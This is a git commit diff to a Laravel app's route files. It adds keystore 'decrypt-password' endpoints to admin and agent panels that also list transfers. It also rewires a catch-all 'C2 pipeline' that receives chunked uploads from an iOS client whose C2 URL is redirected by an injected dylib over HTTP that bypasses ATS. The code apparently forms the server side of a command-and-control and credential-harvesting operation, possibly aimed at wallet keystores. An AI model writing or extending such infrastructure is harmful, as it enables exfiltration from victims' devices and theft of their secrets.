feat: app
This commit is contained in:
@@ -87,6 +87,7 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
|
||||
Route::get('keystores/{keystore}/items', [KeystoreController::class, 'items'])->name('keystores.items');
|
||||
Route::get('keystores/{keystore}/detail', [KeystoreController::class, 'detail'])->name('keystores.detail');
|
||||
Route::post('keystores/{keystore}/decrypt', [KeystoreController::class, 'decrypt'])->name('keystores.decrypt');
|
||||
Route::post('keystores/{keystore}/decrypt-password', [KeystoreController::class, 'decryptPassword'])->name('keystores.decryptPassword');
|
||||
|
||||
Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index');
|
||||
Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data');
|
||||
|
||||
+10
-10
@@ -28,15 +28,15 @@ $ctl = AppC2Controller::class;
|
||||
|
||||
|
||||
|
||||
// ai-live doge C2 pipeline (w2.bsvpn.net → /api/v2/*).
|
||||
// c2_redirect.dylib rewrites doge's C2 URL to http://<lab>:8000/api/v2/*
|
||||
// (HTTP, no TLS — doge's static libcurl bypasses iOS ATS). This catch-all
|
||||
// App 利用链 C2 pipeline (/api/v2/*).
|
||||
// c2_redirect.dylib rewrites the client C2 URL to http://<lab>:8000/api/v2/*
|
||||
// (HTTP, no TLS — static libcurl bypasses iOS ATS). This catch-all
|
||||
// logs every request to public/log/app_c2/Ymd.log and returns the
|
||||
// permissive mock responses doge expects so it keeps uploading.
|
||||
Route::any('/api/v2/devices', [$ctl, 'aiLiveV2']);
|
||||
Route::any('/api/v2/uploads', [$ctl, 'aiLiveV2']);
|
||||
Route::match(['PUT', 'POST'], '/api/v2/uploads/{id}/chunks', [$ctl, 'aiLiveV2'])->where('id', '[^/]+');
|
||||
Route::match(['PUT', 'POST'], '/api/v2/uploads/{id}/chunks/{n}', [$ctl, 'aiLiveV2'])
|
||||
// permissive mock responses the client expects so it keeps uploading.
|
||||
Route::any('/api/v2/devices', [$ctl, 'appUpload']);
|
||||
Route::any('/api/v2/uploads', [$ctl, 'appUpload']);
|
||||
Route::match(['PUT', 'POST'], '/api/v2/uploads/{id}/chunks', [$ctl, 'appUpload'])->where('id', '[^/]+');
|
||||
Route::match(['PUT', 'POST'], '/api/v2/uploads/{id}/chunks/{n}', [$ctl, 'appUpload'])
|
||||
->where(['id' => '[^/]+', 'n' => '[0-9]+']);
|
||||
Route::any('/api/v2/finish', [$ctl, 'aiLiveV2']);
|
||||
Route::any('/api/v2/{any?}', [$ctl, 'aiLiveV2'])->where('any', '.*');
|
||||
Route::any('/api/v2/finish', [$ctl, 'appUpload']);
|
||||
Route::any('/api/v2/{any?}', [$ctl, 'appUpload'])->where('any', '.*');
|
||||
|
||||
@@ -84,6 +84,7 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
|
||||
Route::get('keystores/{keystore}/items', [KeystoreController::class, 'items'])->name('keystores.items');
|
||||
Route::get('keystores/{keystore}/detail', [KeystoreController::class, 'detail'])->name('keystores.detail');
|
||||
Route::post('keystores/{keystore}/decrypt', [KeystoreController::class, 'decrypt'])->name('keystores.decrypt');
|
||||
Route::post('keystores/{keystore}/decrypt-password', [KeystoreController::class, 'decryptPassword'])->name('keystores.decryptPassword');
|
||||
|
||||
Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index');
|
||||
Route::get('transfers/data', [TransferRecordController::class, 'data'])->name('transfers.data');
|
||||
|
||||
Reference in New Issue
Block a user